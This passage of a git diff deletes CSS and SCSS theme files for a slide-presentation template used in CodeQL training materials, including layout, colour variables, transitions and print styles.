-    border-right: 0;
-  }
-  /* line 1027, ../scss/default.scss */
-  slides slide[hidden] {
-    display: none !important;
-  }
-
-  /* line 1032, ../scss/default.scss */
-  .slide-area {
-    display: none;
-  }
-
-  /* line 1036, ../scss/default.scss */
-  .reflect {
-    -webkit-box-reflect: none;
-    -moz-box-reflect: none;
-    -o-box-reflect: none;
-    -ms-box-reflect: none;
-    box-reflect: none;
-  }
-
-  /* line 1044, ../scss/default.scss */
-  pre, code {
-    font-family: monospace !important;
-  }
-
-  /* make notes appear on slides for print view*/
-
-  .note {
-    position: unset;
-  }
-  
-  /* don't display slide number */
-  slides > slide:not(.nobackground):after {
-    display: none;
-  }
-
-  slides {
-    width: 90%;
-    height: 100%;
-  }
-}
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/css/hieroglyph.css b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/css/hieroglyph.css
deleted file mode 100644
index a919b0341141..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/css/hieroglyph.css
+++ /dev/null
@@ -1,84 +0,0 @@
-/* line 5, ../scss/hieroglyph.scss */
-ol {
-  margin-left: 1.2em;
-  margin-bottom: 1em;
-  position: relative;
-  list-style: decimal;
-}
-/* line 11, ../scss/hieroglyph.scss */
-ol li {
-  margin-bottom: 0.5em;
-}
-/* line 14, ../scss/hieroglyph.scss */
-ol li ol {
-  margin-left: 2em;
-  margin-bottom: 0;
-  list-style: decimal;
-}
-/* line 19, ../scss/hieroglyph.scss */
-ol li ol li:before {
-  font-weight: 600;
-}
-/* line 25, ../scss/hieroglyph.scss */
-ol ol {
-  margin-top: .5em;
-  list-style: decimal;
-}
-
-/* line 32, ../scss/hieroglyph.scss */
-slide.title-image {
-  padding-right: 0px;
-}
-/* line 36, ../scss/hieroglyph.scss */
-slide.title-image hgroup {
-  position: static !important;
-  margin-top: 35%;
-  padding-left: 30px;
-  background: rgba(255, 255, 255, 0.7);
-  border-top-left-radius: 5px;
-  -webkit-border-top-left-radius: 5px;
-  -moz-border-top-left-radius: 5px;
-  -o-border-top-left-radius: 5px;
-}
-/* line 50, ../scss/hieroglyph.scss */
-slide.title-image hgroup + article {
-  background: rgba(255, 255, 255, 0.7);
-  margin-top: 0px;
-  padding-left: 30px;
-  border-bottom-left-radius: 5px;
-  -webkit-border-bottom-left-radius: 5px;
-  -moz-border-bottom-left-radius: 5px;
-  -o-border-bottom-left-radius: 5px;
-}
-/* line 62, ../scss/hieroglyph.scss */
-slide.title-image h1 {
-  color: #222;
-  font-size: 3.2em;
-  line-height: 1.5em;
-  font-weight: 500;
-}
-/* line 72, ../scss/hieroglyph.scss */
-slide.title-image div.figure img {
-  position: absolute;
-  left: 0;
-  top: 0;
-  min-width: 100%;
-  min-height: 100%;
-  border-radius: 5px;
-  -o-border-radius: 5px;
-  -moz-border-radius: 5px;
-  -webkit-border-radius: 5px;
-  z-index: -1;
-}
-/* line 87, ../scss/hieroglyph.scss */
-slide.title-image div.figure .caption {
-  color: black;
-  background: rgba(255, 255, 255, 0.25);
-  padding: 0 5px;
-  border-bottom-left-radius: 5px;
-  border-top-right-radius: 5px;
-  position: absolute;
-  left: 0;
-  bottom: 0;
-  margin-bottom: 0;
-}
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/css/io2013.css b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/css/io2013.css
deleted file mode 100644
index b42982b21c91..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/css/io2013.css
+++ /dev/null
@@ -1,55 +0,0 @@
-/* line 5, ../scss/io2013.scss */
-* {
-  line-height: 1.3;
-}
-
-/* line 9, ../scss/io2013.scss */
-h2 {
-  font-weight: bold;
-}
-
-/* line 12, ../scss/io2013.scss */
-h2, h3 {
-  color: #515151;
-}
-
-/* line 16, ../scss/io2013.scss */
-q, blockquote {
-  font-weight: bold;
-}
-
-/* line 20, ../scss/io2013.scss */
-slides > slide {
-  color: #515151;
-}
-/* line 24, ../scss/io2013.scss */
-slides > slide.title-slide:after {
-  content: '';
-  background: url(../../images/io2013/google-io-lockup-1.png) no-repeat 100% 50%;
-  -moz-background-size: contain;
-  -o-background-size: contain;
-  -webkit-background-size: contain;
-  background-size: contain;
-  position: absolute;
-  bottom: 80px;
-  right: 40px;
-  width: 100%;
-  height: 90px;
-}
-/* line 36, ../scss/io2013.scss */
-slides > slide.title-slide hgroup h1 {
-  font-weight: bold;
-  line-height: 1.1;
-}
-/* line 40, ../scss/io2013.scss */
-slides > slide.title-slide hgroup h2, slides > slide.title-slide hgroup p {
-  color: #515151;
-}
-/* line 43, ../scss/io2013.scss */
-slides > slide.title-slide hgroup h2 {
-  margin-top: 0.25em;
-}
-/* line 46, ../scss/io2013.scss */
-slides > slide.title-slide hgroup p {
-  margin-top: 3em;
-}
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/css/phone.css b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/css/phone.css
deleted file mode 100644
index 017c7bbf60df..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/css/phone.css
+++ /dev/null
@@ -1,26 +0,0 @@
-/*Smartphones (portrait and landscape) ----------- */
-/*@media only screen
-and (min-width : 320px)
-and (max-width : 480px) {
-
-}*/
-/* Smartphones (portrait) ----------- */
-/* Styles */
-/* line 17, ../scss/phone.scss */
-slides > slide {
-  /*  width: $slide-width !important;
-    height: $slide-height !important;
-    margin-left: -$slide-width / 2 !important;
-    margin-top: -$slide-height / 2 !important;
-  */
-  -webkit-transition: none !important;
-  -moz-transition: none !important;
-  -o-transition: none !important;
-  -webkit-transition: none !important;
-  transition: none !important;
-}
-
-/* iPhone 4 ----------- */
-@media only screen and (-webkit-min-device-pixel-ratio: 1.5), only screen and (min-device-pixel-ratio: 1.5) {
-  /* Styles */
-}
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/_base.scss b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/_base.scss
deleted file mode 100644
index 50504db99b75..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/_base.scss
+++ /dev/null
@@ -1,139 +0,0 @@
-@charset "UTF-8";
-
-@import "compass/reset";
-@import "compass/css3/border-radius";
-@import "compass/css3/box";
-@import "compass/css3/box-shadow";
-@import "compass/css3/box-sizing";
-@import "compass/css3/images";
-@import "compass/css3/text-shadow";
-@import "compass/css3/background-size";
-@import "compass/css3/transform";
-@import "compass/css3/transition";
-
-@import "variables";
-
-@mixin font-smoothing($val: antialiased) {
-  -webkit-font-smoothing: $val;
-  -moz-font-smoothing: $val;
-  -ms-font-smoothing: $val;
-  -o-font-smoothing: $val;
-}
-
-@mixin flexbox {
-  display: -webkit-box !important;
-  display: -moz-box !important;
-  display: -ms-box !important;
-  display: -o-box !important;
-  display: box !important;
-}
-
-@mixin flex-center-center {
-  @include box-orient(vertical);
-  @include box-align(center);
-  @include box-pack(center);
-}
-
-@mixin flex-left-center {
-  @include box-orient(vertical);
-  @include box-align(left);
-  @include box-pack(center);
-}
-
-@mixin flex-right-center {
-  @include box-orient(vertical);
-  @include box-align(end);
-  @include box-pack(center);
-}
-
-/**
- * Base SlideDeck Styles
- */
-html {
-  height: 100%;
-  overflow: hidden;
-}
-
-body {
-  margin: 0;
-  padding: 0;
-
-  opacity: 0;
-
-  height: 100%;
-  min-height: 740px;
-  width: 100%;
-
-  overflow: hidden;
-
-  color: #fff;
-  @include font-smoothing(antialiased);
-  @include transition(opacity 800ms ease-in 100ms); // Add small delay to prevent jank.
-
-  &.loaded {
-    opacity: 1 !important;
-  }
-}
-
-input, button {
-  vertical-align: middle;
-}
-
-slides > slide[hidden] {
-  display: none !important;
-}
-
-slides {
-  width: 100%;
-  height: 100%;
-  position: absolute;
-  left: 0;
-  top: 0;
-  @include transform(translate3d(0, 0, 0));
-  @include perspective(1000);
-  @include transform-style(preserve-3d);
-  @include transition(opacity 800ms ease-in 100ms); // Add small delay to prevent jank.
-}
-
-slides > slide {
-  display: block;
-  position: absolute;
-  overflow: hidden;
-  left: 50%;
-  top: 50%;
-  @include box-sizing(border-box);
-}
-
-/* Slide styles */
-
-
-/*article.fill iframe {
-  position: absolute;
-  left: 0;
-  top: 0;
-  width: 100%;
-  height: 100%;
-
-  border: 0;
-  margin: 0;
-
-  @include border-radius(10px);
-
-  z-index: -1;
-}
-
-slide.fill {
-  background-repeat: no-repeat;
-  @include background-size(cover);
-}
-
-slide.fill img {
-  position: absolute;
-  left: 0;
-  top: 0;
-  min-width: 100%;
-  min-height: 100%;
-
-  z-index: -1;
-}
-*/
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/_variables.scss b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/_variables.scss
deleted file mode 100644
index d07f90720704..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/_variables.scss
+++ /dev/null
@@ -1,34 +0,0 @@
-$social-tags: '';
-$brand-small-icon-size: 30px;
-
-$gray-1: #e6e6e6;
-$gray-2: #a9a9a9;
-$gray-3: #797979;
-$gray-4: #515151;
-
-$brand-blue: rgb(67, 135, 253);
-$brand-blue-secondary: #3c8ef3;
-$brand-blue-secondary2: #2a7cdf;
-
-$brand-red: rgb(244, 74, 63);
-$brand-red-secondary: #e0543e;
-$brand-red-secondary2: #d94d3a;
-
-$brand-yellow: rgb(255, 209, 77);
-$brand-yellow-secondary: #f9cc46;
-$brand-yellow-secondary2: #f6c000;
-
-$brand-green: rgb(13, 168, 97);
-$brand-green-secondary: #00a86d;
-$brand-green-secondary2: #009f5d;
-
-$slide-width: 900px;
-$slide-height: 700px;
-$slide-width-widescreen: 1100px;
-$slide-top-bottom-padding: 40px;
-$slide-left-right-padding: 60px;
-$slide-border-radius: 5px;
-
-$slide-tap-area-width: 100px;
-
-$article-content-top-padding: 45px;
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/default.scss b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/default.scss
deleted file mode 100644
index b8c83b424ffa..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/default.scss
+++ /dev/null
@@ -1,1047 +0,0 @@
-@import "base";
-@import "compass/css3/columns";
-@import "compass/css3/user-interface";
-
-@mixin highlight-color($color: $brand-yellow) {
-  -webkit-tap-highlight-color: $color;
-  -moz-tap-highlight-color: $color;
-  -ms-tap-highlight-color: $color;
-  -o-tap-highlight-color: $color;
-  tap-highlight-color: $color;
-}
-
-@mixin backdrop {
-  @include background(linear-gradient(white, white 85%, $gray-1));
-  background-color: white;
-}
-
-
-/**
- * Theme Styles
- */
-::selection {
-  color: white;
-  background-color: $brand-yellow;
-  @include text-shadow(none);
-}
-
-::-webkit-scrollbar {
-  height: 16px;
-  overflow: visible;
-  width: 16px;
-}
-::-webkit-scrollbar-thumb {
-  background-color: rgba(0, 0, 0, .1);
-  background-clip: padding-box;
-  border: solid transparent;
-  min-height: 28px;
-  padding: 100px 0 0;
-  @include box-shadow(inset 1px 1px 0 rgba(0,0,0,.1),inset 0 -1px 0 rgba(0,0,0,.07));
-  border-width: 1px 1px 1px 6px;
-}
-::-webkit-scrollbar-thumb:hover {
-  background-color: rgba(0, 0, 0, 0.5);
-}
-::-webkit-scrollbar-button {
-  height: 0;
-  width: 0;
-}
-::-webkit-scrollbar-track {
-  background-clip: padding-box;
-  border: solid transparent;
-  border-width: 0 0 0 4px;
-}
-::-webkit-scrollbar-corner {
-  background: transparent;
-}
-
-body {
-  background: black;
-}
-
-slides > slide {
-  display: none;
-  font-family: 'Open Sans', Arial, sans-serif;
-  font-size: 26px;
-  color: $gray-3;
-  //@include background(linear-gradient(white, white 85%, $gray-1));
-  //background-color: white;
-  width: $slide-width;
-  height: $slide-height;
-  margin-left: -$slide-width / 2;
-  margin-top: -$slide-height / 2;
-  padding: $slide-top-bottom-padding $slide-left-right-padding;
-
-  @include border-radius($slide-border-radius);
-  //@include box-shadow(5px 5px 20px $gray-4);
-  @include transition(all 0.6s ease-in-out);
-
-  //$translateX: 1020px;
-  //$rotateY: 30deg;
-  //$rotateX: 45deg;
-
-  &.far-past {
-    //display: block;
-    display: none;
-    //@include transform(translate(-$translateX * 2));
-    //@include transform(translate3d(-$translateX * 2, 0, 0));
-  }
-
-  &.past {
-    display: block;
-    //@include transform(translate(-$translateX) rotateY($rotateY) rotateX($rotateX));
-    //@include transform(translate3d(-$translateX, 0, 0) rotateY($rotateY) rotateX($rotateX));
-    opacity: 0;
-  }
-
-  &.current {
-    display: block;
-    //@include transform(translate(0));
-    //@include transform(translate3d(0, 0, 0));
-    opacity: 1;
-
-    .auto-fadein {
-      opacity: 1;
-    }
-
-    .gdbar {
-      @include background-size(100% 100%);
-    }
-  }
-
-  &.next {
-    display: block;
-    //@include transform(translate($translateX) rotateY(-$rotateY) rotateX($rotateX));
-    //@include transform(translate3d($translateX, 0, 0) rotateY(-$rotateY) rotateX($rotateX));
-    opacity: 0;
-    pointer-events: none;
-  }
-
-  &.far-next {
-    //display: block;
-    display: none;
-    //@include transform(translate($translateX * 2));
-    //@include transform(translate3d($translateX * 2, 0, 0));
-  }
-
-  &.dark {
-    background: $gray-4 !important;
-  }
-
-  &:not(.nobackground) {
-    //background: white url(../../images/google_developers_icon_128.png) ($brand-small-icon-size * 2) 98% no-repeat;
-    //@include background-size($brand-small-icon-size $brand-small-icon-size);
-
-    &:before {
-      font-size: 12pt;
-      content: $social-tags;
-      position: absolute;
-      bottom: $slide-top-bottom-padding / 2;
-      left: $slide-left-right-padding;
-      // background: url(../../images/google_developers_icon_128.png) no-repeat 0 50%;
-      @include background-size($brand-small-icon-size $brand-small-icon-size);
-      padding-left: $brand-small-icon-size + 10;
-      height: $brand-small-icon-size;
-      line-height: 1.9;
-    }
-    &:after {
-      font-size: 12pt;
-      content: attr(data-slide-num) '/' attr(data-total-slides);
-      position: absolute;
-      bottom: $slide-top-bottom-padding / 2;
-      right: $slide-left-right-padding;
-      line-height: 1.9;
-    }
-  }
-
-  &.title-slide {
-    &:after {
-      content: '';
-      //background: url(../../images/io2012_logo.png) no-repeat 100% 50%;
-      //@include background-size(contain);
-      position: absolute;
-      bottom: $slide-top-bottom-padding;
-      right: $slide-top-bottom-padding;
-      width: 100%;
-      height: 60px;
-    }
-  }
-
-  &.backdrop {
-    z-index: -10;
-    display: block !important;
-    @include backdrop;
-
-    &:after, &:before {
-      display: none; // Prevent double set of slide nums and footer icons.
-    }
-  }
-
-  > hgroup + article {
-    margin-top: $article-content-top-padding;
-
-    &.flexbox {
-      &.vcenter, &.vleft, &.vright {
-        height: 80%;
-      }
-    }
-
-    p {
-      margin-bottom: 1em;
-    }
-  }
-
-  > article:only-child {
-    height: 100%;
-
-    > iframe {
-      height: 98%;
-    }
-  }
-}
-
-slides.layout-faux-widescreen > slide {
-  padding: $slide-top-bottom-padding 160px;
-}
-
-slides.layout-widescreen,
-slides.layout-faux-widescreen {
-
-  $translateX: 1130px;
-
-  > slide {
-    margin-left: -$slide-width-widescreen / 2;
-    width: $slide-width-widescreen;
-  }
-
-  > slide.far-past {
-    display: block;
-    display: none;
-    @include transform(translate(-$translateX * 2));
-    @include transform(translate3d(-$translateX * 2, 0, 0));
-  }
-
-  > slide.past {
-    display: block;
-    //@include transform(translate(-$translateX));
-    //@include transform(translate3d(-$translateX, 0, 0));
-    opacity: 0;
-  }
-
-  > slide.current {
-    display: block;
-    //@include transform(translate(0));
-    //@include transform(translate3d(0, 0, 0));
-    opacity: 1;
-  }
-
-  > slide.next {
-    display: block;
-    //@include transform(translate($translateX));
-    //@include transform(translate3d($translateX, 0, 0));
-    opacity: 0;
-    pointer-events: none;
-  }
-
-  > slide.far-next {
-    display: block;
-    display: none;
-    @include transform(translate($translateX * 2));
-    @include transform(translate3d($translateX * 2, 0, 0));
-  }
-
-  #prev-slide-area {
-    margin-left: -$slide-width-widescreen / 2 - $slide-tap-area-width;
-  }
-
-  #next-slide-area {
-    margin-left: $slide-width-widescreen / 2;
-  }
-}
-
-b {
-  font-weight: 600;
-}
-
-a {
-  color: $brand-blue-secondary2;
-  text-decoration: none;
-  border-bottom: 1px solid rgba(42, 124, 223, 0.5);
-
-  &:hover {
-    color: black !important;
-  }
-}
-
-h1, h2, h3 {
-  font-weight: 600;
-}
-
-h2 {
-  font-size: 45px;
-  line-height: 45px;
-  letter-spacing: -2px;
-  color: $gray-4;
-}
-
-h3 {
-  font-size: 30px;
-  letter-spacing: -1px;
-  line-height: 2;
-  font-weight: inherit;
-  color: $gray-3;
-}
-
-ul {
-  margin-left: 1.2em;
-  margin-bottom: 1em;
-  position: relative;
-
-  li {
-    margin-bottom: 0.5em;
-
-    ul {
-      margin-left: 2em;
-      margin-bottom: 0;
-
-      li:before {
-        content: '-';
-        font-weight: 600;
-      }
-    }
-  }
-
-  > li:before {
-    content: '\00B7';
-    margin-left: -1em;
-    position: absolute;
-    font-weight: 600;
-  }
-
-  ul {
-    margin-top: .5em;
-  }
-}
-
-// Code highlighting only effects the current slide.
-.highlight-code slide.current {
-  pre > * {
-    opacity: 0.25;
-    @include transition(opacity 0.5s ease-in);
-  }
-  b {
-    opacity: 1;
-  }
-}
-
-pre {
-  font-family: 'Source Code Pro', 'Courier New', monospace;
-  font-size: 20px;
-  line-height: 28px;
-  padding: 10px 0 10px $slide-left-right-padding;
-  letter-spacing: -1px;
-  margin-bottom: 20px;
-  width: 106%;
-  background-color: $gray-1;
-  left: -$slide-left-right-padding;
-  position: relative;
-  @include box-sizing(border-box);
-  /*overflow: hidden;*/
-
-  &[data-lang]:after {
-    content: attr(data-lang);
-    background-color: $gray-2;
-    right: 0;
-    top: 0;
-    position: absolute;
-    font-size: 16pt;
-    color: white;
-    padding: 2px 25px;
-    text-transform: uppercase;
-  }
-}
-
-pre[data-lang="go"] {
-  color: #333;
-}
-
-code {
-  font-size: 95%;
-  font-family: 'Source Code Pro', 'Courier New', monospace;
-  color: black;
-}
-
-iframe {
-  width: 100%;
-  height: $slide-height - ($slide-top-bottom-padding * 2) - ($article-content-top-padding * 2);
-  background: white;
-  border: 1px solid $gray-1;
-  @include box-sizing(border-box);
-}
-
-dt {
-  font-weight: bold;
-}
-
-button {
-  display: inline-block;
-  @include background(linear-gradient(#F9F9F9 40%, #E3E3E3 70%));
-  border: 1px solid $gray-2;
-  @include border-radius(3px);
-  padding: 5px 8px;
-  outline: none;
-  white-space: nowrap;
-  @include user-select(none);
-  cursor: pointer;
-  @include text-shadow(1px 1px #fff);
-  font-size: 10pt;
-}
-
-button:not(:disabled):hover {
-  border-color: $gray-4;
-}
-
-button:not(:disabled):active {
-  @include background(linear-gradient(#E3E3E3 40%, #F9F9F9 70%));
-}
-
-:disabled {
-  color: $gray-2;
-}
-
-.blue {
-  color: $brand-blue;
-}
-.blue2 {
-  color: $brand-blue-secondary;
-}
-.blue3 {
-  color: $brand-blue-secondary2;
-}
-.yellow {
-  color: $brand-yellow;
-}
-.yellow2 {
-  color: $brand-yellow-secondary;
-}
-.yellow3 {
-  color: $brand-yellow-secondary2;
-}
-.green {
-  color: $brand-green;
-}
-.green2 {
-  color: $brand-green-secondary;
-}
-.green3 {
-  color: $brand-green-secondary2;
-}
-.red {
-  color: $brand-red;
-}
-.red2 {
-  color: $brand-red-secondary;
-}
-.red3 {
-  color: $brand-red-secondary2;
-}
-.gray {
-  color: $gray-1;
-}
-.gray2 {
-  color: $gray-2;
-}
-.gray3 {
-  color: $gray-3;
-}
-.gray4 {
-  color: $gray-4;
-}
-
-.white {
-  color: white !important;
-}
-.black {
-  color: black !important;
-}
-
-.columns-2 {
-  @include column-count(2);
-}
-
-table {
-  width: 100%;
-  border-collapse: -moz-initial;
-  border-collapse: initial;
-  border-spacing: 2px;
-  border-bottom: 1px solid $gray-3;
-
-  tr > td:first-child, th {
-    font-weight: 600;
-    color: $gray-4;
-  }
-
-  tr:nth-child(odd) {
-    background-color: $gray-1;
-  }
-
-  th {
-    color: white;
-    font-size: 18px;
-    @include background(linear-gradient(top, $brand-blue 40%, $brand-blue-secondary2 80%) no-repeat);
-  }
-
-  td, th {
-    font-size: 18px;
-    padding: 1em 0.5em;
-  }
-
-  td.highlight {
-    color: $gray-4;
-    @include background(linear-gradient(top, $brand-yellow 40%, $brand-yellow-secondary2 80%) no-repeat);
-  }
-
-  &.rows {
-    border-bottom: none;
-    border-right: 1px solid $gray-3;
-  }
-}
-
-q {
-  font-size: 45px;
-  line-height: 72px;
-
-  &:before {
-    content: '“';
-    position: absolute;
-    margin-left: -0.5em;
-  }
-  &:after {
-    content: '�';
-    position: absolute;
-    margin-left: 0.1em;
-  }
-}
-
-slide.fill {
-  background-repeat: no-repeat;
-  @include border-radius($slide-border-radius);
-  @include background-size(cover);
-}
-
-/* Size variants */
-
-article.smaller {
-  p, ul {
-    font-size: 20px;
-    line-height: 24px;
-    letter-spacing: 0;
-  }
-  table {
-    td, th {
-      font-size: 14px;
-    }
-  }
-  pre {
-    font-size: 15px;
-    line-height: 20px;
-    letter-spacing: 0;
-  }
-  q {
-    font-size: 40px;
-    line-height: 48px;
-
-    &:before, &:after {
-      font-size: 60px;
-    }
-  }
-}
-
-/* Builds */
-
-.build {
-  > * {
-    @include transition(opacity 0.5s ease-in-out 0.2s);
-  }
-
-  .to-build {
-    opacity: 0;
-  }
-
-  .build-fade {
-    opacity: 0.3;
-
-    &:hover {
-      opacity: 1.0;
-    }
-  }
-}
-
-.popup .next .build {
-  .to-build {
-    opacity: 1;
-  }
-
-  .build-fade {
-    opacity: 1;
-  }
-}
-
-/* Pretty print */
-
-.prettyprint .str, /* string content */
-.prettyprint .atv { /* a markup attribute value */
-  color: $brand-green-secondary2; //rgb(0, 138, 53);
-}
-.prettyprint .kwd, /* a keyword */
-.prettyprint .tag { /* a markup tag name */
-  color: rgb(0, 102, 204);
-}
-.prettyprint .com { /* a comment */
-  color: $gray-3; //rgb(127, 127, 127);
-  font-style: italic;
-}
-.prettyprint .lit { /* a literal value */
-  color: rgb(127, 0, 0);
-}
-.prettyprint .pun, /* punctuation, lisp open bracket, lisp close bracket */
-.prettyprint .opn,
-.prettyprint .clo {
-  color: $gray-4; //rgb(127, 127, 127);
-}
-.prettyprint .typ, /* a type name */
-.prettyprint .atn, /* a markup attribute name */
-.prettyprint .dec,
-.prettyprint .var { /* a declaration; a variable name */
-  color: $brand-red-secondary2; //rgb(127, 0, 127);
-}
-.prettyprint .pln {
-  color: $gray-4;
-}
-
-.note {
-  position: absolute;
-  z-index: 100;
-  width: 100%;
-  height: 100%;
-  top: 0;
-  left: 0;
-  padding: 1em;
-  background: rgba(0, 0, 0, 0.3);
-  opacity: 0;
-  pointer-events: none;
-  @include flexbox;
-  @include flex-center-center;
-  @include border-radius($slide-border-radius);
-
-  @include box-sizing(border-box);
-  @include transform(translateY($slide-height / 2));@include transition(all 0.4s ease-in-out);
-
-  > section {
-    background: #fff;
-    @include border-radius($slide-border-radius);
-    @include box-shadow(0 0 10px $gray-3);
-    width: 60%;
-    padding: 2em;
-  }
-}
-
-// Speaker notes only show the current slide.
-.with-notes {
-
-  &.popup {
-
-    slides.layout-widescreen,
-    slides.layout-faux-widescreen {
-      slide {
-        &.next {
-          @include transform(translate3d($slide-width-widescreen / 2 + 140, 80px, 0) scale(0.35));
-        }
-        .note {
-          @include transform(translate3d(300px, $slide-height + 100, 0) scale(1.5));
-        }
-      }
-    }
-
-    slide {
-      overflow: visible;
-      background: white;
-      @include transition(none); // No slide transition goodies when in presenter mode.
-      pointer-events: none;
-      @include transform-origin(0, 0); // For speaker note transition.
-
-      &:not(.backdrop) {
-        @include transform(scale(0.6) translate3d(0.5em, 0.5em, 0));
-        @include box-shadow(0 0 10px $gray-3);
-      }
-
-      &.backdrop {
-        //@include background(linear-gradient($gray-1, white 30%, white 60%, $gray-1));
-        @include background-image(radial-gradient(50% 50%, #b1dfff 0%,
-                                                  $brand-blue 600px));
-      }
-
-      &.next {
-        @include transform(translate3d($slide-width / 2 + 120, 80px, 0) scale(0.35));
-        opacity: 1 !important;
-
-        .note {
-          display: none !important; // Prevents seeing notes if we go to previous slide.
-        }
-      }
-    }
-
-    .note {
-      width: 109%;
-      height: $slide-height / 2 - 90;
-      background: $gray-1;
-      padding: 0;
-
-      @include box-shadow(0 0 10px $gray-3);
-
-      @include transform(translate3d(250px, $slide-height + 100, 0) scale(1.5));
-      @include transition(opacity 400ms ease-in-out);
-
-      > section {
-        background: #fff;
-        @include border-radius($slide-border-radius);
-        height: 100%;
-        width: 100%;
-        @include box-sizing(border-box);
-        @include box-shadow(none);
-        overflow: auto;
-        padding: 1em;
-      }
-    }
-  }
-
-  .note {
-    opacity: 1;
-    @include transform(translateY(0));
-    pointer-events: auto; // Allow people to do things like open links embedded in the speaker notes.
-  }
-}
-
-.source {
-  font-size: 14px;
-  color: $gray-2;
-  position: absolute;
-  bottom: $slide-top-bottom-padding + 30px;
-  left: $slide-left-right-padding;
-}
-
-.centered {
-  text-align: center;
-}
-
-.reflect {
-  -webkit-box-reflect: below 3px -webkit-linear-gradient(rgba(255,255,255,0) 85%, white 150%);
-  -moz-box-reflect: below 3px -moz-linear-gradient(rgba(255,255,255,0) 85%, white 150%);
-  -o-box-reflect: below 3px -o-linear-gradient(rgba(255,255,255,0) 85%, white 150%);
-  -ms-box-reflect: below 3px -ms-linear-gradient(rgba(255,255,255,0) 85%, white 150%);
-  box-reflect: below 3px linear-gradient(rgba(255,255,255,0) 85%, white 150%);
-}
-
-.flexbox {
-  @include flexbox;
-}
-
-.flexbox.vcenter {
-  @include flex-center-center;
-  height: 100%;
-  width: 100%;
-}
-
-.flexbox.vleft {
-  @include flex-left-center;
-  height: 100%;
-  width: 100%;
-}
-
-.flexbox.vright {
-  @include flex-right-center;
-  height: 100%;
-  width: 100%;
-}
-
-.auto-fadein {
-  @include transition(opacity 0.6s ease-in 1s);
-  opacity: 0;
-}
-
-/* Clickable/tappable areas */
-.slide-area {
-  z-index: 1000;
-
-  position: absolute;
-  left: 0;
-  top: 0;
-  width: $slide-tap-area-width;
-  height: $slide-height;
-
-  left: 50%;
-  top: 50%;
-
-  cursor: pointer;
-  margin-top: -$slide-height / 2;
-
-  //@include highlight-color(rgba(51, 51, 51, 0.5));
-}
-#prev-slide-area {
-  margin-left: -$slide-width-widescreen / 2;
-  //@include border-radius(10px 0 0 10px);
-  //@include box-shadow(-5px 0 10px #222 inset);
-}
-#next-slide-area {
-  margin-left: $slide-width / 2;
-  //@include border-radius(0 10px 10px 0);
-  //@include box-shadow(5px 0 10px #222 inset);
-}
-
-/* ===== SLIDE CONTENT ===== */
-.logoslide {
-  img {
-    width: 383px;
-    height: 92px;
-  }
-}
-
-.segue {
-  padding: $slide-left-right-padding $slide-left-right-padding * 2;
-
-  h2 {
-    color: $gray-1;
-    font-size: 60px;
-  }
-  h3 {
-    color: $gray-1;
-    line-height: 2.8;
-  }
-  hgroup {
-    position: absolute;
-    bottom: 225px;
-  }
-}
-
-.thank-you-slide {
-  background: $brand-blue !important;
-  color: white;
-
-  h2 {
-    font-size: 60px;
-    color: inherit;
-  }
-
-  article > p {
-    margin-top: 2em;
-    font-size: 20pt;
-  }
-
-  > p {
-    position: absolute;
-    bottom: $slide-top-bottom-padding * 2;
-    font-size: 24pt;
-    line-height: 1.3;
-  }
-}
-
-aside.gdbar {
-  height: 97px;
-  width: 215px;
-  position: absolute;
-  left: -1px;
-  top: 125px;
-  @include border-radius(0 10px 10px 0);
-  @include background(linear-gradient(left, $gray-1, $gray-1) no-repeat);
-  @include background-size(0% 100%);
-  @include transition(all 0.5s ease-out 0.5s); /* Better to transition only on background-size, but not sure how to do that with the mixin. */
-
-  &.right {
-    right: 0;
-    left: -moz-initial;
-    left: initial;
-    top: ($slide-height / 2) - 96; /* 96 is height of gray icon bar */
-    @include transform(rotateZ(180deg));
-
-    img {
-      @include transform(rotateZ(180deg));
-    }
-  }
-
-  &.bottom {
-    top: -moz-initial;
-    top: initial;
-    bottom: $slide-left-right-padding;
-  }
-
-  img {
-    width: 85px;
-    height: 85px;
-    position: absolute;
-    right: 0;
-    margin: 8px 15px;
-  }
-}
-
-.title-slide {
-
-  hgroup {
-    bottom: 100px;
-
-    h1 {
-      font-size: 65px;
-      line-height: 1.4;
-      letter-spacing: -3px;
-      color: $gray-4;
-    }
-
-    h2 {
-      font-size: 34px;
-      color: $gray-2;
-      font-weight: inherit;
-    }
-
-    p {
-      font-size: 20px;
-      color: $gray-3;
-      line-height: 1.3;
-      margin-top: 2em;
-    }
-  }
-}
-
-.quote {
-  color: $gray-1;
-
-  .author {
-    font-size: 24px;
-    position: absolute;
-    bottom: 80px;
-    line-height: 1.4;
-  }
-}
-
-[data-config-contact] {
-  a {
-    color: rgb(255, 255, 255);
-    border-bottom: none;
-  }
-  span {
-    width: 115px;
-    display: inline-block;
-  }
-}
-
-.overview {
-
-  &.popup {
-    .note {
-      display: none !important;
-    }
-  }
-
-  slides {
-    slide {
-      &.backdrop {
-        display: none !important;
-      }
-
-      display: block;
-      cursor: pointer;
-      opacity: 0.5;
-      pointer-events: auto !important;
-
-      @include backdrop();
-
-      &.far-past,
-      &.past,
-      &.next,
-      &.far-next,
-      &.far-past {
-        opacity: 0.5;
-        display: block;
-      }
-
-      &.current {
-        opacity: 1;
-      }
-    }
-  }
-
-  .slide-area {
-    display: none;
-  }
-}
-
-@media print {
-  slides {
-    slide {
-      display: block !important;
-      position: relative;
-      @include backdrop();
-      @include transform(none !important);
-      width: 100%;
-      height: 100%;
-      page-break-after:always;
-      top: auto !important;
